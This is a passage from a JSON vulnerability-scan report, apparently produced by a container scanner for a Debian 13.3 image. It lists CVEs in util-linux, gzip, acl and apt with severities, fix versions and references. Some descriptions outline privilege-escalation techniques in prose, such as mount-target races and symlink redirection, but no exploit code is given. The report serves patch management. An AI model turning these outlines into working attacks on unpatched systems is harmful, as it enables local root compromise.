"https://linux.oracle.com/cve/CVE-2026-76642.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-76642", "https://www.cve.org/CVERecord?id=CVE-2026-76642", "https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper" ], "PublishedDate": "2026-09-03T13:06:08.44Z", "LastModifiedDate": "2026-09-24T20:28:01.78Z" }, { "VulnerabilityID": "CVE-2026-78408", "PkgID": "bsdutils@1:2.41-5", "PkgName": "bsdutils", "PkgIdentifier": { "PURL": "pkg:deb/debian/bsdutils@2.41-5?arch=amd64\u0026distro=debian-13.3\u0026epoch=1", "UID": "5843733a461e6ce1" }, "InstalledVersion": "1:2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78408", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f2cdd72e5f99520c15c1e0d7168eec202f0c7cc1ad12e69d6dbacd0edc679a90", "Title": "util-linux: util-linux: nsenter --join-cgroup leaks root cgroup migration authority", "Description": "The nsenter --join-cgroup option opens the target cgroup.procs file as root and leaves that file descriptor open across later namespace and credential changes and across execve(). Because the kernel checks later cgroup migrations using the credentials from the original open, a program run in an attacker-controlled target can inherit root's ability to move host processes between cgroups. After a privileged operator uses --join-cgroup against that target, an unprivileged user can migrate and terminate unrelated root processes.", "Severity": "HIGH", "CweIDs": [ "CWE-775" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H", "V3Score": 7.9 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/09/05/2", "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/errata/RHSA-2026:95365", "https://access.redhat.com/security/cve/CVE-2026-78408", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj", "https://linux.oracle.com/cve/CVE-2026-78408.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-78408", "https://www.cve.org/CVERecord?id=CVE-2026-78408" ], "PublishedDate": "2026-09-02T16:17:23.687Z", "LastModifiedDate": "2026-11-05T03:17:32.977Z" }, { "VulnerabilityID": "CVE-2026-78409", "PkgID": "bsdutils@1:2.41-5", "PkgName": "bsdutils", "PkgIdentifier": { "PURL": "pkg:deb/debian/bsdutils@2.41-5?arch=amd64\u0026distro=debian-13.3\u0026epoch=1", "UID": "5843733a461e6ce1" }, "InstalledVersion": "1:2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78409", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:bd5c77d68aadb8d2c1f7c61889b07054fe6c41cae0f64902b341375fb37f2158", "Title": "util-linux: util-linux: X-mount.subdir detached-tree resolution can escape via intermediate symlinks", "Description": "The X-mount.subdir option uses a detached-tree fast path on Linux 6.15 and later and passes the configured subdirectory to open_tree() with AT_SYMLINK_NOFOLLOW. That flag does not stop intermediate symlink traversal or keep resolution inside the newly mounted filesystem. A local unprivileged user with an fstab-authorized X-mount.subdir entry can attach a host path at the intended mountpoint.", "Severity": "HIGH", "CweIDs": [ "CWE-59" ], "VendorSeverity": { "redhat": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/security/cve/CVE-2026-78409", "https://bugzilla.redhat.com/show_bug.cgi?id=2522607", "https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv", "https://nvd.nist.gov/vuln/detail/CVE-2026-78409", "https://www.cve.org/CVERecord?id=CVE-2026-78409" ], "PublishedDate": "2026-09-02T16:17:23.833Z", "LastModifiedDate": "2026-11-05T00:17:28.61Z" }, { "VulnerabilityID": "CVE-2026-78410", "PkgID": "bsdutils@1:2.41-5", "PkgName": "bsdutils", "PkgIdentifier": { "PURL": "pkg:deb/debian/bsdutils@2.41-5?arch=amd64\u0026distro=debian-13.3\u0026epoch=1", "UID": "5843733a461e6ce1" }, "InstalledVersion": "1:2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78410", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f0fe9f6f17620f8fcb3ae07b8c2af09894f086891bc51e0e6435ac77e721877f", "Title": "util-linux: util-linux: restricted bind mounts do not pin the source, allowing X-mount.owner/group/mode redirection", "Description": "A flaw was found in util-linux. Restricted bind mounts take the source path from fstab but do not pin that source before the privileged mount. A local unprivileged user who can replace the authorized source or a writable ancestor can redirect SUID mount(8) to bind another host directory. If the fstab entry also sets X-mount.owner, X-mount.group, or X-mount.mode, root then changes ownership or mode on that redirected inode.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/errata/RHSA-2026:95365", "https://access.redhat.com/security/cve/CVE-2026-78410", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m", "https://linux.oracle.com/cve/CVE-2026-78410.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-78410", "https://www.cve.org/CVERecord?id=CVE-2026-78410" ], "PublishedDate": "2026-09-02T16:17:23.983Z", "LastModifiedDate": "2026-11-05T03:17:33.15Z" }, { "VulnerabilityID": "CVE-2026-41992", "PkgID": "gzip@1.13-1", "PkgName": "gzip", "PkgIdentifier": { "PURL": "pkg:deb/debian/gzip@1.13-1?arch=amd64\u0026distro=debian-13.3", "UID": "954545ce99bc687e" }, "InstalledVersion": "1.13-1", "FixedVersion": "1.13-1+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-41992", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:fe9005368ad6c5eeb6cdefd7d03177c96feea73cdf815ebcc40ed529a968160b", "Title": "gzip: gzip: Information disclosure via global buffer overflow in LZH decompression", "Description": "GNU gzip contains a global buffer overflow vulnerability in the LZH decompression logic caused by improper reuse of shared global state between different decompression formats within a single execution. GNU gzip maintains a global array that is shared across the LZ77, LZW, and LZH decompression routines and is not reinitialized between files processed in the same invocation.\nBy decompressing a specially crafted LZW file followed by a specially crafted LZH file in a single gzip -d command, an attacker can poison the shared global state and subsequently trigger an out‑of‑bounds read in the LZH decoder. The LZH decompression logic follows stale values left in the shared array, causing reads past the end of the allocated global buffer.\n\nThis issue has been fixed in commits 63dbf6b3b9e6e781df1a6a64e609b10e23969681 and e7378c2d421be6a286922374425680bbe9ad8b7d.", "Severity": "HIGH", "CweIDs": [ "CWE-126" ], "VendorSeverity": { "alma": 2, "azure": 2, "julia": 2, "nvd": 3, "oracle-oval": 2, "photon": 3, "redhat": 1, "rocky": 2, "ubuntu": 2 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "V40Vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "V3Score": 7.5, "V40Score": 6.9 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:L", "V3Score": 3.6 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/08/23/1", "http://www.openwall.com/lists/oss-security/2026/08/25/1", "http://www.openwall.com/lists/oss-security/2026/08/27/2", "https://access.redhat.com/errata/RHSA-2026:61623", "https://access.redhat.com/security/cve/CVE-2026-41992", "https://bugzilla.redhat.com/2494158", "https://bugzilla.redhat.com/show_bug.cgi?id=2494158", "https://bugzilla.redhat.com/show_bug.cgi?id=2494159", "https://cert.pl/en/posts/2026/04/CVE-2026-41991", "https://cert.pl/en/posts/2026/04/CVE-2026-41991/", "https://cgit.git.savannah.gnu.org/cgit/gzip.git/commit/?id=63dbf6b3b9e6e781df1a6a64e609b10e23969681", "https://cgit.git.savannah.gnu.org/cgit/gzip.git/commit/?id=e7378c2d421be6a286922374425680bbe9ad8b7d", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-41991", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-41992", "https://errata.almalinux.org/9/ALSA-2026-61623.html", "https://errata.rockylinux.org/RLSA-2026:61623", "https://github.com/advisories/GHSA-qxh4-rprf-2mmj", "https://linux.oracle.com/cve/CVE-2026-41992.html", "https://linux.oracle.com/errata/ELSA-2026-65998-0.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-41992", "https://ubuntu.com/security/notices/USN-8512-1", "https://ubuntu.com/security/notices/USN-8733-1", "https://ubuntu.com/security/notices/USN-8733-2", "https://www.cve.org/CVERecord?id=CVE-2026-41992", "https://www.gnu.org/software/gzip", "https://www.gnu.org/software/gzip/" ], "PublishedDate": "2026-06-29T12:16:29.94Z", "LastModifiedDate": "2026-10-25T21:10:00.77Z" }, { "VulnerabilityID": "CVE-2026-54369", "PkgID": "libacl1@2.3.2-2+b1", "PkgName": "libacl1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libacl1@2.3.2-2%2Bb1?arch=amd64\u0026distro=debian-13.3", "UID": "3de9b16851b7cdc0" }, "InstalledVersion": "2.3.2-2+b1", "Status": "affected", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-54369", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:716cdf5812519bb27ba32ec5ad8d50576274860d337411ef17aa11e2fa52fd4d", "Title": "acl: Symlink traversal privilege escalation via libacl functions", "Description": "acl before version 2.4.0 contains a symlink traversal vulnerability in the libacl pathname-based functions acl_get_file(), acl_set_file(), acl_extended_file(), and acl_delete_def_file() that allows local attackers to escalate privileges by replacing any pathname component with a symbolic link. Attackers who control any component of a pathname processed by a privileged caller can redirect ACL read or write operations to arbitrary files or directories, enabling unauthorized manipulation of access control lists and local privilege escalation.", "Severity": "HIGH", "CweIDs": [ "CWE-59" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:34351", "https://access.redhat.com/errata/RHSA-2026:42736", "https://access.redhat.com/errata/RHSA-2026:42739", "https://access.redhat.com/errata/RHSA-2026:43420", "https://access.redhat.com/errata/RHSA-2026:44481", "https://access.redhat.com/errata/RHSA-2026:46836", "https://access.redhat.com/errata/RHSA-2026:50205", "https://access.redhat.com/errata/RHSA-2026:53371", "https://access.redhat.com/errata/RHSA-2026:54769", "https://access.redhat.com/errata/RHSA-2026:58981", "https://access.redhat.com/errata/RHSA-2026:64805", "https://access.redhat.com/errata/RHSA-2026:67140", "https://access.redhat.com/errata/RHSA-2026:67142", "https://access.redhat.com/errata/RHSA-2026:67144", "https://access.redhat.com/security/cve/CVE-2026-54369", "https://bugzilla.redhat.com/2490277", "https://bugzilla.redhat.com/2490279", "https://bugzilla.redhat.com/show_bug.cgi?id=2490277", "https://bugzilla.redhat.com/show_bug.cgi?id=2490279", "https://cgit.git.savannah.nongnu.org/cgit/acl.git/commit/?id=24a227d0ab8576612194f8a56c2314389adc74a5", "https://cgit.git.savannah.nongnu.org/cgit/acl.git/commit/?id=3589787cd589b34bdd9265936e17190b6d3f17d1", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-54369", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-54370", "https://errata.almalinux.org/9/ALSA-2026-42736.html", "https://errata.rockylinux.org/RLSA-2026:42736", "https://linux.oracle.com/cve/CVE-2026-54369.html", "https://linux.oracle.com/errata/ELSA-2026-43420.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-54369", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-54369.json", "https://www.cve.org/CVERecord?id=CVE-2026-54369", "https://www.vulncheck.com/advisories/acl-symlink-traversal-privilege-escalation-via-libacl-functions" ], "PublishedDate": "2026-06-29T14:16:57.487Z", "LastModifiedDate": "2026-10-25T21:10:00.77Z" }, { "VulnerabilityID": "CVE-2026-109518", "VendorIDs": [ "DSA-6607-1" ], "PkgID": "libapt-pkg7.0@3.0.3", "PkgName": "libapt-pkg7.0", "PkgIdentifier": { "PURL": "pkg:deb/debian/libapt-pkg7.0@3.0.3?arch=amd64\u0026distro=debian-13.3", "UID": "242cb420cb70321c" }, "InstalledVersion": "3.0.3", "FixedVersion": "3.0.4", "Status": "fixed", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-109518", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:4e8139d47ec75ced35aa42ac704195937962f34f4211d3034d90f6fe24096c19", "Title": "apt: apt: Remote code execution via hard link reuse during package download retries", "Description": "On Debian, Ubuntu, and derivative Linux distributions, an on-path attacker who can manipulate the HTTP traffic (including a malicious mirror or proxy) between an APT client and an archive server triggered by a package install can trick the client into installing an attacker-controlled unverified package and achieve remote code execution with root privileges.\n\n\n\nThe vulnerability is caused by the reuse of hard links and requires the client to follow redirects and retry the download of package files. It requires the client to have a non-zero Acquire::Retries configuration setting; the value 3 is the default starting with Debian 12 (bookworm) and Ubuntu 22.04 LTS (Jammy Jellyfish), so older releases are unaffected in a default configuration", "Severity": "HIGH", "CweIDs": [ "CWE-62", "CWE-367" ], "VendorSeverity": { "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/11/04/12", "https://access.redhat.com/security/cve/CVE-2026-109518", "https://lists.debian.org/debian-lts-announce/2026/11/msg00004.html", "https://lists.debian.org/debian-security-announce/2026/msg00526.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-109518", "https://ubuntu.com/blog/apt-vulnerability-fixes-available", "https://ubuntu.com/security/notices/USN-8996-1", "https://www.cve.org/CVERecord?id=CVE-2026-109518" ], "PublishedDate": "2026-11-04T16:17:33.01Z", "LastModifiedDate": "2026-11-05T05:18:19.033Z" }, { "VulnerabilityID": "CVE-2026-53612", "VendorIDs": [ "DSA-6442-1" ], "PkgID": "libblkid1@2.41-5", "PkgName": "libblkid1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libblkid1@2.41-5?arch=amd64\u0026distro=debian-13.3", "UID": "c1af86eefb8cc018" }, "InstalledVersion": "2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53612", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:01c4c4ccefccec6c66c31c724cacd5a86984681de6fd7a8977284ada4bd3b047", "Title": "util-linux: util-linux: TOCTOU in the mount program when applying post-mount ownership/mode changes", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.39 through 2.41.4 and 2.42 through 2.42.1, the SUID `mount` utility's `hook_owner.c` post-mount hook performs path-based `chmod()` and `lchown()` operations on a previously validated mount target. A local low-privileged user authorized by an `/etc/fstab` entry with `user` or `users` and an `X-mount.mode`, `X-mount.owner`, or `X-mount.group` option can use `renameat2(RENAME_EXCHANGE)` to race a writable ancestor of the target and redirect the privileged ownership or mode change to a root-owned path, potentially gaining root privileges. This issue is fixed in 2.41.5 and 2.42.2.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53612", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/24da33905c7115c4cbccd0afb2a469804e96467a", "https://github.com/util-linux/util-linux/commit/722c96974dd4009a334e4aee556eedaab5fb94b4", "https://github.com/util-linux/util-linux/commit/897a08c2b11dfa66975c3d24d63c7bf5f5be1a7c", "https://github.com/util-linux/util-linux/commit/d0c5adaeb3a3d823aba1377794de8f009b8152cc", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/security/advisories/GHSA-g8wm-75wr-g2vh", "https://linux.oracle.com/cve/CVE-2026-53612.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53612", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53612" ], "PublishedDate": "2026-10-14T15:17:20.26Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-53613", "VendorIDs": [ "DSA-6442-1" ], "PkgID": "libblkid1@2.41-5", "PkgName": "libblkid1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libblkid1@2.41-5?arch=amd64\u0026distro=debian-13.3", "UID": "c1af86eefb8cc018" }, "InstalledVersion": "2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53613", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:252eebb00137a53bfcdf36af7ae932c80a3237c9ad4f41b69ba3ad290b36a83a", "Title": "util-linux: TOCTOU in the mount program via ancestor directory swap on target path", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.17 through 2.41.6 and 2.42 through 2.42.3, and in 2.42.4 when the legacy `mount(2)` path is used without `/proc`, restricted non-root `mount` requests validate an `/etc/fstab` target before the mount operation re-resolves that pathname. A local low-privileged user authorized by an fstab `user` or `users` entry whose target has an attacker-writable ancestor can use `renameat2(RENAME_EXCHANGE)` to swap a path component and redirect an authorized mount to a root-owned location, such as mounting attacker-controlled content over `/etc/sudoers.d`, and thereby gain root privileges. Versions 2.41.5 and 2.42.2 pin targets for the new mount API, and 2.42.4 pins legacy targets through `/proc/self/fd`; the documented legacy fallback without `/proc` remains affected.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53613", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/0b010025a0e429bc80355c94db86a843395d49e2", "https://github.com/util-linux/util-linux/commit/0d3d55975aa3492c62fd345eac38f41cd166c0b0", "https://github.com/util-linux/util-linux/commit/2c773f336134acf016e639abb6f12ba7341fe4b8", "https://github.com/util-linux/util-linux/commit/39fef62bf3226abb6bb018fa8750afa0327e84b4", "https://github.com/util-linux/util-linux/commit/472cc3fb2d4d47cca7aab2e0b59eb3fb8a9359ec", "https://github.com/util-linux/util-linux/commit/646fb66603d10a7ac337e14f566f1af48e3107c9", "https://github.com/util-linux/util-linux/commit/708d1b3c51932dc5ba8082c7368187715e6a8d78", "https://github.com/util-linux/util-linux/commit/78a860982e036f38fe9c0b3344998df5ac2c2ff5", "https://github.com/util-linux/util-linux/commit/85d16b341f7232c9dbb4884b632e1e956584bee9", "https://github.com/util-linux/util-linux/commit/a9508d216eb8977979102782672e0470cc9bf2a2", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/releases/tag/v2.42.4", "https://github.com/util-linux/util-linux/security/advisories/GHSA-8gj5-72r3-428g", "https://linux.oracle.com/cve/CVE-2026-53613.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53613", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53613" ], "PublishedDate": "2026-10-14T15:17:20.41Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { 